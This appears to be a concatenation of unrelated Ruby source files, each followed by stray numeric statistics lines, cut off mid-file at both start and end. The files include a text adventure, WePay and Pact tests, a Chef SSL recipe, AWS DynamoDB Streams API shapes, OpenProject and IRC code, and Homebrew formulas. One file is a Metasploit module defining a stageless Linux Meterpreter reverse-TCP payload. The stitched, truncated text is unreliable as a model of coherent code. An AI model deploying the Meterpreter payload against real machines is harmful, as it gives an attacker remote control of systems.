will be displayed when you enter the store") puts() puts("sell <itemnum>") puts(" Sell the selected item. Has to be done in a store. Note that unlike other") puts(" games, we're fair and items sell for the exact amount they're bought for!") puts(" <itemnum> is obtained by using the 'inventory' command.") puts() puts("attack") puts(" Attack the current monster.") end end puts("Welcome, brave warrior! What's your name?") print("--> ") YOU[:name] = gets().strip() puts() puts("Welcome, #{YOU[:name]}! Good luck on your quest!!"); puts() puts("You just woke up. You don't remember what happened to you, but you're somewhere with loud music. You aren't sure what's going on, but you know you need to get out of here!") puts() puts("Press <enter> to continue"); gets() loop do begin tick() rescue BeezException => e puts("Error: #{e}") end end
28.064103
179
0.621593
018f097a11ed3c4d50c67582e959bf8f9c5021ca
236
while count_object_on_map("apple") > 0 while is_clear_path() walk_forward() take() end turn_right() end say("I took #{ @robert.inventory.select { |object| object.is_a? GameObjects::Apple }.count } apples...")
29.5
104
0.644068
91b9ce89a15426ac1f83a7b79a4dddc8024ab431
1,297
# frozen_string_literal: true require "test_helper" # test methods used to count Observations by country class CountryCounterTest < UnitTestCase def test_wheres cc = CountryCounter.new wheres = cc.send(:wheres) assert(wheres) assert(wheres.member?("Briceland, California, USA")) end def test_location_names cc = CountryCounter.new location_names = cc.send(:location_names) assert(location_names) assert(location_names.member?("Burbank, California, USA")) end def test_countries cc = CountryCounter.new countries = cc.send(:countries) assert(countries) assert(countries.member?("USA")) end def test_countries_by_count cc = CountryCounter.new countries = cc.send(:countries_by_count) assert(countries) usa = countries[0] assert_equal("USA", usa[0]) assert(usa[1] > 10) end def test_partition_with_count cc = CountryCounter.new known, unknown = cc.send(:partition_with_count) assert(known.present?) assert(unknown.present?) end def test_known_by_count assert(CountryCounter.new.known_by_count.present?) end def test_unknown_by_count assert(CountryCounter.new.unknown_by_count.present?) end def test_missing assert(CountryCounter.new.missing.present?) end end
23.160714
62
0.723978
ff86c0892e270ec98ecafae8ba0c5bdbf16503e4
2,604
# # Cookbook Name:: supermarket # Recipe:: ssl # # Copyright 2014 Chef Software, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # include_recipe 'omnibus-supermarket::config' [node['supermarket']['ssl']['directory'], "#{node['supermarket']['ssl']['directory']}/ca"].each do |dir| directory dir do owner node['supermarket']['user'] group node['supermarket']['group'] mode '0700' end end # Unless SSL is disabled, sets up SSL certificates. # Creates a self-signed cert if none is provided. if node['supermarket']['ssl']['enabled'] supermarket_ca_dir = File.join(node['supermarket']['ssl']['directory'], 'ca') ssl_dhparam = File.join(supermarket_ca_dir, 'dhparams.pem') #Generate dhparams.pem for perfect forward secrecy openssl_dhparam ssl_dhparam do key_length 2048 generator 2 owner 'root' group 'root' mode '0644' end node.default['supermarket']['ssl']['ssl_dhparam'] ||= ssl_dhparam # A certificate has been supplied if node['supermarket']['ssl']['certificate'] # Link the standard CA cert into our certs directory link "#{node['supermarket']['ssl']['directory']}/cacert.pem" do to "#{node['supermarket']['install_directory']}/embedded/ssl/certs/cacert.pem" end # No certificate has been supplied; generate one else ssl_keyfile = File.join(supermarket_ca_dir, "#{node['supermarket']['fqdn']}.key") ssl_crtfile = File.join(supermarket_ca_dir, "#{node['supermarket']['fqdn']}.crt") openssl_x509_certificate ssl_crtfile do common_name node['supermarket']['fqdn'] org node['supermarket']['ssl']['company_name'] org_unit node['supermarket']['ssl']['organizational_unit_name'] country node['supermarket']['ssl']['country_name'] key_length 2048 expire 3650 owner 'root' group 'root' mode '0644' end node.default['supermarket']['ssl']['certificate'] ||= ssl_crtfile node.default['supermarket']['ssl']['certificate_key'] ||= ssl_keyfile link "#{node['supermarket']['ssl']['directory']}/cacert.pem" do to ssl_crtfile end end end
32.55
85
0.692012
d5b72eae43e415481d96b847e22a57bc169ca9ef
129
require_relative 'utils/cli/base' require_relative 'utils/daemon' require_relative 'utils/statsd' require_relative 'utils/stats'
25.8
33
0.837209
87e2c0e54ee709d96dbd8b6514c532d125a4ada6
4,700
require File.expand_path(File.dirname(__FILE__) + '/helper') class TestWepayRailsAccountMethods < ActiveSupport::TestCase def setup create_wepay_config_file(false, true) initialize_wepay_config @gateway = WepayRails::Payments::Gateway.new(TEST_ACCESS_TOKEN) @accounts = [] end def teardown @accounts.each {|account| @gateway.delete_account(account)} # delete test accounts that were created delete_wepay_config_file end test "should return errors from WePay when using invalid access token" do @gateway = WepayRails::Payments::Gateway.new("notAnAccessToken") @response = @gateway.create_account({ :name => "Example Account", :description => "This is just an example WePay account." }) assert_not_nil @response[:error] assert_nil @response[:account_id] end test "should create new WePay account" do @response = @gateway.create_account({ :name => "Example Account", :description => "This is just an example WePay account." }) assert_not_nil @response[:account_id] assert_not_nil @response[:account_uri] @accounts << @response[:account_id] # add account for later deletion end test "should get WePay account" do @account = @gateway.create_account({ :name => "Example Account", :description => "This is just an example WePay account." })[:account_id] @response = @gateway.get_account(@account) assert_not_nil @response[:name] assert_equal "Example Account", @response[:name] assert_equal "This is just an example WePay account.", @response[:description] @accounts << @account # add account for later deletion end test "should find WePay account by reference id or name" do @account = @gateway.create_account({ :name => "Example Account", :description => "This is just an example WePay account.", :reference_id => "wepayrailstestaccount12345" })[:account_id] @response = @gateway.find_account(:reference_id => "wepayrailstestaccount12345") assert @response.kind_of?(Array), "<Array> expected but was <#{@response.class}>" assert_equal 1, @response.length assert_equal "Example Account", @response.first[:name] @accounts << @account # add account for later deletion end test "should find all WePay accounts for current authorized user" do # This test is a bit weird. First we assert that the API call works and # returns an Array, which also gives us the current amount of accounts. # Then we create some test accounts, simultaneously adding their account_id # to the @accounts hash for later deletion, and assert that the new account # was indeed added to the user's list of accounts @response = @gateway.find_account assert @response.kind_of?(Array), "<Array> expected but was <#{@response.class}>" @count = @response.length 3.times do @accounts << @gateway.create_account({ :name => "Example Account", :description => "This is just an example WePay account." })[:account_id] end @response = @gateway.find_account assert_equal @count + 3, @response.length assert_equal "Example Account", @response.first[:name] end test "should modify WePay account" do @account = @gateway.create_account({ :name => "Example Account", :description => "This is just an example WePay account." })[:account_id] @response = @gateway.modify_account(@account, { :name => "This is a new Name!", :description => "This is a new description!" }) assert_not_nil @response[:account_id] assert_equal "This is a new Name!", @response[:name] assert_equal "This is a new description!", @response[:description] end test "should get current balance of WePay account" do @account = @gateway.create_account({ :name => "Example Account", :description => "This is just an example WePay account." })[:account_id] @response = @gateway.get_account_balance(@account) assert_not_nil @response[:pending_balance] assert_not_nil @response[:available_balance] assert_not_nil @response[:currency] assert_equal 0, @response[:available_balance] @accounts << @account # add account for later deletion end test "should delete WePay account" do @account = @gateway.create_account({ :name => "Example Account", :description => "This is just an example WePay account." })[:account_id] @response = @gateway.delete_account(@account) assert_not_nil @response[:account_id] assert_equal @account, @response[:account_id] @accounts << @account # add account for later deletion end end
35.074627
104
0.686809
6ad66c5624ace2e1046665dfa4fa206b625c590e
1,324
require 'spec_helper' require 'pact/consumer_contract/request_decorator' require 'pact/consumer/request' module Pact describe RequestDecorator do let(:options) { { some: 'opts' } } let(:body) { { some: "bod" } } let(:headers) { { some: "header" } } let(:query) { "param=foo" } let(:request_params) do { method: :get, query: query, headers: headers, path: "/", body: body, options: options } end let(:request) { Pact::Request::Expected.from_hash(request_params) } subject { RequestDecorator.new(request) } describe "#to_json" do let(:parsed_json) { JSON.parse subject.to_json, symbolize_names: true } it "renders the keys in a meaningful order" do expect(subject.to_json).to match(/method.*path.*query.*headers.*body/) end it "does not render the options" do expect(subject.to_json).to_not include('options') end context "when the path is a Pact::Term" do let(:request_params) do { method: :get, path: Pact::Term.new(matcher: %r{/alligators/.*}, generate: '/alligators/Mary') } end it "reifies the path" do expect(parsed_json[:path]).to eq '/alligators/Mary' end end end end end
24.981132
105
0.59139
212bf8660970a2f958a5e53b316464646a4a52d1
1,227
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule CachedSize = 1030256 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions include Msf::Sessions::MettleConfig def initialize(info = {}) super( update_info( info, 'Name' => 'Linux Meterpreter, Reverse TCP Inline', 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', 'Author' => [ 'Adam Cammack <adam_cammack[at]rapid7.com>', 'Brent Cook <brent_cook[at]rapid7.com>', 'timwr' ], 'Platform' => 'linux', 'Arch' => ARCH_ARMBE, 'License' => MSF_LICENSE, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) end def generate opts = { scheme: 'tcp', stageless: true }.merge(mettle_logging_config) MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec end end
27.886364
98
0.616137
1ca2f58b3c3c73ed68bbb0516089102ccac4775d
3,299
#-- encoding: UTF-8 #-- copyright # OpenProject is a project management system. # Copyright (C) 2012-2018 the OpenProject Foundation (OPF) # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License version 3. # # OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: # Copyright (C) 2006-2017 Jean-Philippe Lang # Copyright (C) 2010-2013 the ChiliProject Team # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # See docs/COPYRIGHT.rdoc for more details. #++ require 'diff' class JournalsController < ApplicationController before_action :find_journal, except: [:index] before_action :find_optional_project, only: [:index] before_action :authorize, only: [:diff] accept_key_auth :index menu_item :issues include QueriesHelper include SortHelper def index retrieve_query sort_init 'id', 'desc' sort_update(@query.sortable_key_by_column_name) if @query.valid? @journals = @query.work_package_journals(order: "#{Journal.table_name}.created_at DESC", limit: 25) end title = (@project ? @project.name : Setting.app_title) + ': ' + (@query.new_record? ? l(:label_changes_details) : @query.name) respond_to do |format| format.atom do render layout: false, content_type: 'application/atom+xml', locals: { title: title, journals: @journals } end end rescue ActiveRecord::RecordNotFound render_404 end def diff journal = Journal::AggregatedJournal.for_journal(@journal) field = params[:field].parameterize.underscore.to_sym unless valid_diff? return render_404 end unless journal.details[field].is_a?(Array) return render_400 message: I18n.t(:error_journal_attribute_not_present, attribute: field) end from = journal.details[field][0] to = journal.details[field][1] @diff = Redmine::Helpers::Diff.new(to, from) @journable = journal.journable respond_to do |format| format.html format.js do render partial: 'diff', locals: { diff: @diff } end end end private def find_journal @journal = Journal.find(params[:id]) @project = @journal.journable.project rescue ActiveRecord::RecordNotFound render_404 end # Is this a valid field for diff'ing? def valid_field?(field) field.to_s.strip == 'description' end def valid_diff? return false unless valid_field?(params[:field]) @journal.journable.class == WorkPackage end end
29.990909
130
0.696878
f89e8b7be627b0cb0c9e1639a4b4b99111bcb758
16,306
# WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE module Aws::DynamoDBStreams # @api private module ClientApi include Seahorse::Model AttributeMap = Shapes::MapShape.new(name: 'AttributeMap') AttributeName = Shapes::StringShape.new(name: 'AttributeName') AttributeValue = Shapes::StructureShape.new(name: 'AttributeValue') BinaryAttributeValue = Shapes::BlobShape.new(name: 'BinaryAttributeValue') BinarySetAttributeValue = Shapes::ListShape.new(name: 'BinarySetAttributeValue') BooleanAttributeValue = Shapes::BooleanShape.new(name: 'BooleanAttributeValue') Date = Shapes::TimestampShape.new(name: 'Date') DescribeStreamInput = Shapes::StructureShape.new(name: 'DescribeStreamInput') DescribeStreamOutput = Shapes::StructureShape.new(name: 'DescribeStreamOutput') ErrorMessage = Shapes::StringShape.new(name: 'ErrorMessage') ExpiredIteratorException = Shapes::StructureShape.new(name: 'ExpiredIteratorException') GetRecordsInput = Shapes::StructureShape.new(name: 'GetRecordsInput') GetRecordsOutput = Shapes::StructureShape.new(name: 'GetRecordsOutput') GetShardIteratorInput = Shapes::StructureShape.new(name: 'GetShardIteratorInput') GetShardIteratorOutput = Shapes::StructureShape.new(name: 'GetShardIteratorOutput') Identity = Shapes::StructureShape.new(name: 'Identity') InternalServerError = Shapes::StructureShape.new(name: 'InternalServerError') KeySchema = Shapes::ListShape.new(name: 'KeySchema') KeySchemaAttributeName = Shapes::StringShape.new(name: 'KeySchemaAttributeName') KeySchemaElement = Shapes::StructureShape.new(name: 'KeySchemaElement') KeyType = Shapes::StringShape.new(name: 'KeyType') LimitExceededException = Shapes::StructureShape.new(name: 'LimitExceededException') ListAttributeValue = Shapes::ListShape.new(name: 'ListAttributeValue') ListStreamsInput = Shapes::StructureShape.new(name: 'ListStreamsInput') ListStreamsOutput = Shapes::StructureShape.new(name: 'ListStreamsOutput') MapAttributeValue = Shapes::MapShape.new(name: 'MapAttributeValue') NullAttributeValue = Shapes::BooleanShape.new(name: 'NullAttributeValue') NumberAttributeValue = Shapes::StringShape.new(name: 'NumberAttributeValue') NumberSetAttributeValue = Shapes::ListShape.new(name: 'NumberSetAttributeValue') OperationType = Shapes::StringShape.new(name: 'OperationType') PositiveIntegerObject = Shapes::IntegerShape.new(name: 'PositiveIntegerObject') PositiveLongObject = Shapes::IntegerShape.new(name: 'PositiveLongObject') Record = Shapes::StructureShape.new(name: 'Record') RecordList = Shapes::ListShape.new(name: 'RecordList') ResourceNotFoundException = Shapes::StructureShape.new(name: 'ResourceNotFoundException') SequenceNumber = Shapes::StringShape.new(name: 'SequenceNumber') SequenceNumberRange = Shapes::StructureShape.new(name: 'SequenceNumberRange') Shard = Shapes::StructureShape.new(name: 'Shard') ShardDescriptionList = Shapes::ListShape.new(name: 'ShardDescriptionList') ShardId = Shapes::StringShape.new(name: 'ShardId') ShardIterator = Shapes::StringShape.new(name: 'ShardIterator') ShardIteratorType = Shapes::StringShape.new(name: 'ShardIteratorType') Stream = Shapes::StructureShape.new(name: 'Stream') StreamArn = Shapes::StringShape.new(name: 'StreamArn') StreamDescription = Shapes::StructureShape.new(name: 'StreamDescription') StreamList = Shapes::ListShape.new(name: 'StreamList') StreamRecord = Shapes::StructureShape.new(name: 'StreamRecord') StreamStatus = Shapes::StringShape.new(name: 'StreamStatus') StreamViewType = Shapes::StringShape.new(name: 'StreamViewType') String = Shapes::StringShape.new(name: 'String') StringAttributeValue = Shapes::StringShape.new(name: 'StringAttributeValue') StringSetAttributeValue = Shapes::ListShape.new(name: 'StringSetAttributeValue') TableName = Shapes::StringShape.new(name: 'TableName') TrimmedDataAccessException = Shapes::StructureShape.new(name: 'TrimmedDataAccessException') AttributeMap.key = Shapes::ShapeRef.new(shape: AttributeName) AttributeMap.value = Shapes::ShapeRef.new(shape: AttributeValue) AttributeValue.add_member(:s, Shapes::ShapeRef.new(shape: StringAttributeValue, location_name: "S")) AttributeValue.add_member(:n, Shapes::ShapeRef.new(shape: NumberAttributeValue, location_name: "N")) AttributeValue.add_member(:b, Shapes::ShapeRef.new(shape: BinaryAttributeValue, location_name: "B")) AttributeValue.add_member(:ss, Shapes::ShapeRef.new(shape: StringSetAttributeValue, location_name: "SS")) AttributeValue.add_member(:ns, Shapes::ShapeRef.new(shape: NumberSetAttributeValue, location_name: "NS")) AttributeValue.add_member(:bs, Shapes::ShapeRef.new(shape: BinarySetAttributeValue, location_name: "BS")) AttributeValue.add_member(:m, Shapes::ShapeRef.new(shape: MapAttributeValue, location_name: "M")) AttributeValue.add_member(:l, Shapes::ShapeRef.new(shape: ListAttributeValue, location_name: "L")) AttributeValue.add_member(:null, Shapes::ShapeRef.new(shape: NullAttributeValue, location_name: "NULL")) AttributeValue.add_member(:bool, Shapes::ShapeRef.new(shape: BooleanAttributeValue, location_name: "BOOL")) AttributeValue.struct_class = Types::AttributeValue BinarySetAttributeValue.member = Shapes::ShapeRef.new(shape: BinaryAttributeValue) DescribeStreamInput.add_member(:stream_arn, Shapes::ShapeRef.new(shape: StreamArn, required: true, location_name: "StreamArn")) DescribeStreamInput.add_member(:limit, Shapes::ShapeRef.new(shape: PositiveIntegerObject, location_name: "Limit")) DescribeStreamInput.add_member(:exclusive_start_shard_id, Shapes::ShapeRef.new(shape: ShardId, location_name: "ExclusiveStartShardId")) DescribeStreamInput.struct_class = Types::DescribeStreamInput DescribeStreamOutput.add_member(:stream_description, Shapes::ShapeRef.new(shape: StreamDescription, location_name: "StreamDescription")) DescribeStreamOutput.struct_class = Types::DescribeStreamOutput GetRecordsInput.add_member(:shard_iterator, Shapes::ShapeRef.new(shape: ShardIterator, required: true, location_name: "ShardIterator")) GetRecordsInput.add_member(:limit, Shapes::ShapeRef.new(shape: PositiveIntegerObject, location_name: "Limit")) GetRecordsInput.struct_class = Types::GetRecordsInput GetRecordsOutput.add_member(:records, Shapes::ShapeRef.new(shape: RecordList, location_name: "Records")) GetRecordsOutput.add_member(:next_shard_iterator, Shapes::ShapeRef.new(shape: ShardIterator, location_name: "NextShardIterator")) GetRecordsOutput.struct_class = Types::GetRecordsOutput GetShardIteratorInput.add_member(:stream_arn, Shapes::ShapeRef.new(shape: StreamArn, required: true, location_name: "StreamArn")) GetShardIteratorInput.add_member(:shard_id, Shapes::ShapeRef.new(shape: ShardId, required: true, location_name: "ShardId")) GetShardIteratorInput.add_member(:shard_iterator_type, Shapes::ShapeRef.new(shape: ShardIteratorType, required: true, location_name: "ShardIteratorType")) GetShardIteratorInput.add_member(:sequence_number, Shapes::ShapeRef.new(shape: SequenceNumber, location_name: "SequenceNumber")) GetShardIteratorInput.struct_class = Types::GetShardIteratorInput GetShardIteratorOutput.add_member(:shard_iterator, Shapes::ShapeRef.new(shape: ShardIterator, location_name: "ShardIterator")) GetShardIteratorOutput.struct_class = Types::GetShardIteratorOutput Identity.add_member(:principal_id, Shapes::ShapeRef.new(shape: String, location_name: "PrincipalId")) Identity.add_member(:type, Shapes::ShapeRef.new(shape: String, location_name: "Type")) Identity.struct_class = Types::Identity KeySchema.member = Shapes::ShapeRef.new(shape: KeySchemaElement) KeySchemaElement.add_member(:attribute_name, Shapes::ShapeRef.new(shape: KeySchemaAttributeName, required: true, location_name: "AttributeName")) KeySchemaElement.add_member(:key_type, Shapes::ShapeRef.new(shape: KeyType, required: true, location_name: "KeyType")) KeySchemaElement.struct_class = Types::KeySchemaElement ListAttributeValue.member = Shapes::ShapeRef.new(shape: AttributeValue) ListStreamsInput.add_member(:table_name, Shapes::ShapeRef.new(shape: TableName, location_name: "TableName")) ListStreamsInput.add_member(:limit, Shapes::ShapeRef.new(shape: PositiveIntegerObject, location_name: "Limit")) ListStreamsInput.add_member(:exclusive_start_stream_arn, Shapes::ShapeRef.new(shape: StreamArn, location_name: "ExclusiveStartStreamArn")) ListStreamsInput.struct_class = Types::ListStreamsInput ListStreamsOutput.add_member(:streams, Shapes::ShapeRef.new(shape: StreamList, location_name: "Streams")) ListStreamsOutput.add_member(:last_evaluated_stream_arn, Shapes::ShapeRef.new(shape: StreamArn, location_name: "LastEvaluatedStreamArn")) ListStreamsOutput.struct_class = Types::ListStreamsOutput MapAttributeValue.key = Shapes::ShapeRef.new(shape: AttributeName) MapAttributeValue.value = Shapes::ShapeRef.new(shape: AttributeValue) NumberSetAttributeValue.member = Shapes::ShapeRef.new(shape: NumberAttributeValue) Record.add_member(:event_id, Shapes::ShapeRef.new(shape: String, location_name: "eventID")) Record.add_member(:event_name, Shapes::ShapeRef.new(shape: OperationType, location_name: "eventName")) Record.add_member(:event_version, Shapes::ShapeRef.new(shape: String, location_name: "eventVersion")) Record.add_member(:event_source, Shapes::ShapeRef.new(shape: String, location_name: "eventSource")) Record.add_member(:aws_region, Shapes::ShapeRef.new(shape: String, location_name: "awsRegion")) Record.add_member(:dynamodb, Shapes::ShapeRef.new(shape: StreamRecord, location_name: "dynamodb")) Record.add_member(:user_identity, Shapes::ShapeRef.new(shape: Identity, location_name: "userIdentity")) Record.struct_class = Types::Record RecordList.member = Shapes::ShapeRef.new(shape: Record) SequenceNumberRange.add_member(:starting_sequence_number, Shapes::ShapeRef.new(shape: SequenceNumber, location_name: "StartingSequenceNumber")) SequenceNumberRange.add_member(:ending_sequence_number, Shapes::ShapeRef.new(shape: SequenceNumber, location_name: "EndingSequenceNumber")) SequenceNumberRange.struct_class = Types::SequenceNumberRange Shard.add_member(:shard_id, Shapes::ShapeRef.new(shape: ShardId, location_name: "ShardId")) Shard.add_member(:sequence_number_range, Shapes::ShapeRef.new(shape: SequenceNumberRange, location_name: "SequenceNumberRange")) Shard.add_member(:parent_shard_id, Shapes::ShapeRef.new(shape: ShardId, location_name: "ParentShardId")) Shard.struct_class = Types::Shard ShardDescriptionList.member = Shapes::ShapeRef.new(shape: Shard) Stream.add_member(:stream_arn, Shapes::ShapeRef.new(shape: StreamArn, location_name: "StreamArn")) Stream.add_member(:table_name, Shapes::ShapeRef.new(shape: TableName, location_name: "TableName")) Stream.add_member(:stream_label, Shapes::ShapeRef.new(shape: String, location_name: "StreamLabel")) Stream.struct_class = Types::Stream StreamDescription.add_member(:stream_arn, Shapes::ShapeRef.new(shape: StreamArn, location_name: "StreamArn")) StreamDescription.add_member(:stream_label, Shapes::ShapeRef.new(shape: String, location_name: "StreamLabel")) StreamDescription.add_member(:stream_status, Shapes::ShapeRef.new(shape: StreamStatus, location_name: "StreamStatus")) StreamDescription.add_member(:stream_view_type, Shapes::ShapeRef.new(shape: StreamViewType, location_name: "StreamViewType")) StreamDescription.add_member(:creation_request_date_time, Shapes::ShapeRef.new(shape: Date, location_name: "CreationRequestDateTime")) StreamDescription.add_member(:table_name, Shapes::ShapeRef.new(shape: TableName, location_name: "TableName")) StreamDescription.add_member(:key_schema, Shapes::ShapeRef.new(shape: KeySchema, location_name: "KeySchema")) StreamDescription.add_member(:shards, Shapes::ShapeRef.new(shape: ShardDescriptionList, location_name: "Shards")) StreamDescription.add_member(:last_evaluated_shard_id, Shapes::ShapeRef.new(shape: ShardId, location_name: "LastEvaluatedShardId")) StreamDescription.struct_class = Types::StreamDescription StreamList.member = Shapes::ShapeRef.new(shape: Stream) StreamRecord.add_member(:approximate_creation_date_time, Shapes::ShapeRef.new(shape: Date, location_name: "ApproximateCreationDateTime")) StreamRecord.add_member(:keys, Shapes::ShapeRef.new(shape: AttributeMap, location_name: "Keys")) StreamRecord.add_member(:new_image, Shapes::ShapeRef.new(shape: AttributeMap, location_name: "NewImage")) StreamRecord.add_member(:old_image, Shapes::ShapeRef.new(shape: AttributeMap, location_name: "OldImage")) StreamRecord.add_member(:sequence_number, Shapes::ShapeRef.new(shape: SequenceNumber, location_name: "SequenceNumber")) StreamRecord.add_member(:size_bytes, Shapes::ShapeRef.new(shape: PositiveLongObject, location_name: "SizeBytes")) StreamRecord.add_member(:stream_view_type, Shapes::ShapeRef.new(shape: StreamViewType, location_name: "StreamViewType")) StreamRecord.struct_class = Types::StreamRecord StringSetAttributeValue.member = Shapes::ShapeRef.new(shape: StringAttributeValue) # @api private API = Seahorse::Model::Api.new.tap do |api| api.version = "2012-08-10" api.metadata = { "apiVersion" => "2012-08-10", "endpointPrefix" => "streams.dynamodb", "jsonVersion" => "1.0", "protocol" => "json", "serviceFullName" => "Amazon DynamoDB Streams", "signatureVersion" => "v4", "signingName" => "dynamodb", "targetPrefix" => "DynamoDBStreams_20120810", "uid" => "streams-dynamodb-2012-08-10", } api.add_operation(:describe_stream, Seahorse::Model::Operation.new.tap do |o| o.name = "DescribeStream" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: DescribeStreamInput) o.output = Shapes::ShapeRef.new(shape: DescribeStreamOutput) o.errors << Shapes::ShapeRef.new(shape: ResourceNotFoundException) o.errors << Shapes::ShapeRef.new(shape: InternalServerError) end) api.add_operation(:get_records, Seahorse::Model::Operation.new.tap do |o| o.name = "GetRecords" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetRecordsInput) o.output = Shapes::ShapeRef.new(shape: GetRecordsOutput) o.errors << Shapes::ShapeRef.new(shape: ResourceNotFoundException) o.errors << Shapes::ShapeRef.new(shape: LimitExceededException) o.errors << Shapes::ShapeRef.new(shape: InternalServerError) o.errors << Shapes::ShapeRef.new(shape: ExpiredIteratorException) o.errors << Shapes::ShapeRef.new(shape: TrimmedDataAccessException) end) api.add_operation(:get_shard_iterator, Seahorse::Model::Operation.new.tap do |o| o.name = "GetShardIterator" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: GetShardIteratorInput) o.output = Shapes::ShapeRef.new(shape: GetShardIteratorOutput) o.errors << Shapes::ShapeRef.new(shape: ResourceNotFoundException) o.errors << Shapes::ShapeRef.new(shape: InternalServerError) o.errors << Shapes::ShapeRef.new(shape: TrimmedDataAccessException) end) api.add_operation(:list_streams, Seahorse::Model::Operation.new.tap do |o| o.name = "ListStreams" o.http_method = "POST" o.http_request_uri = "/" o.input = Shapes::ShapeRef.new(shape: ListStreamsInput) o.output = Shapes::ShapeRef.new(shape: ListStreamsOutput) o.errors << Shapes::ShapeRef.new(shape: ResourceNotFoundException) o.errors << Shapes::ShapeRef.new(shape: InternalServerError) end) end end end
64.450593
158
0.760579
39b73aa93351f91cf4fe2d0042d575056518a41d
2,414
module IRC module RFC2812 # Public: Represents a WHOIS response. class Whois attr_reader :nick, :user, :host, :realname, :channels, :server, :server_info, :seconds_idle # Public: Gets the statuses Hash (`{ "#channel" => :status }`). The status # is `nil` if there is no status. attr_reader :statuses # Public: Initializes the ... # # messages - An Array of IRC::Messages. def initialize(*messages) @channels = [] @statuses = {} messages.each do |message| method = "parse_#{message.command}" if self.respond_to? method, true self.send method, message end end end def away? @away || false end # Public: Operator means IRC operator, not channel operator. def operator? @operator || false end # Public: Gets the channels. If a `status` is given, it returns only the # channels with that status. # # status - A status Symbol (default: false). # # Returns an Array. def channels(status = false) if status == false @channels elsif status.nil? @statuses.select { |_, s| s.nil? }.map(&:first) else @statuses.select { |_, s| status.to_sym == s }.map(&:first) end end private def parse_311(message) @nick = message.params[1] @user = message.params[2] @host = message.params[3] @realname = message.trail end def parse_319(message) # Channels with the "+" prefix don't support modes. parsed = message.to_s.split.map do |channel| if channel.start_with?("++") [nil, channel] else channel.match(/([^#&!])? ([#&!+]\S+)/x).captures end end @channels += parsed.map(&:last) parsed.each do |status, channel| @statuses[channel] = status.nil? ? nil : status.to_sym end end def parse_312(message) @server = message.params[2] @server_info = message.trail end def parse_301(message) @away = true end def parse_313(message) @operator = true end def parse_317(message) @seconds_idle = message.params[2].to_i end end end end
24.632653
80
0.53314
d51603bf043dc3cc875aaeaf8e88f70cb81b1bad
542
cask 'synalyze-it-pro' do version '1.22' sha256 '4d984d532e2b8615a7a138ee482a22b1196ece4ecc4ab640aa25671b82b01313' # synalyze-it.com/Downloads was verified as official when first introduced to the cask url "https://www.synalyze-it.com/Downloads/SynalyzeItProTA_#{version}.zip" appcast 'https://www.synalyze-it.com/SynalyzeItPro/appcast.xml', checkpoint: '53d05b609afad7ba2c429242f7fd48f86844ff63905c5dc2995c8d5047524767' name 'Synalyze It! Pro' homepage 'https://www.synalysis.net/' app 'Synalyze It! Pro.app' end
38.714286
88
0.776753
1d4c92d77825f1999e1c177a6dc191bd8d11d1b6
126
module ApplicationHelper attr_writer :page_title def page_title @page_title ||= "RSpec Rails Examples" end end
12.6
42
0.722222
0320903d483a82a447a07ffcbe547a2d627cbf30
2,748
class Zim < Formula desc "Graphical text editor used to maintain a collection of wiki pages" homepage "https://zim-wiki.org/" url "https://github.com/zim-desktop-wiki/zim-desktop-wiki/archive/0.73.5.tar.gz" sha256 "9f983fac9655a61bfe1fa6f9e8cfa59bef099dadfdc4c003913999b184ed1342" license "GPL-2.0-or-later" head "https://github.com/zim-desktop-wiki/zim-desktop-wiki.git" bottle do sha256 cellar: :any_skip_relocation, big_sur: "befd17918f9285f17cc1e82bfe237b1391ef131abbf00b0b18af5f419c0e3a20" sha256 cellar: :any_skip_relocation, catalina: "66126af64df13f28313e8e14bfa9b98ffc406242a555c7296b4e4934e644b182" sha256 cellar: :any_skip_relocation, mojave: "085e240e21156a4f469eccc2eab3899c148be8243e045379c0ad5eb5fa6dfb36" end depends_on "pkg-config" => :build depends_on "adwaita-icon-theme" depends_on "graphviz" depends_on "gtk+3" depends_on "gtksourceview3" depends_on "pygobject3" depends_on "[email protected]" resource "pyxdg" do url "https://files.pythonhosted.org/packages/6f/2e/2251b5ae2f003d865beef79c8fcd517e907ed6a69f58c32403cec3eba9b2/pyxdg-0.27.tar.gz" sha256 "80bd93aae5ed82435f20462ea0208fb198d8eec262e831ee06ce9ddb6b91c5a5" end def install python_version = Language::Python.major_minor_version Formula["[email protected]"].opt_bin/"python3" ENV.prepend_create_path "PYTHONPATH", libexec/"lib/python#{python_version}/site-packages" resource("pyxdg").stage do system Formula["[email protected]"].opt_bin/"python3", *Language::Python.setup_install_args(libexec/"vendor") end ENV["XDG_DATA_DIRS"] = libexec/"share" ENV.prepend_create_path "PYTHONPATH", libexec/"lib/python#{python_version}/site-packages" system Formula["[email protected]"].opt_bin/"python3", "./setup.py", "install", "--prefix=#{libexec}" bin.install Dir[libexec/"bin/*"] bin.env_script_all_files libexec/"bin", PYTHONPATH: 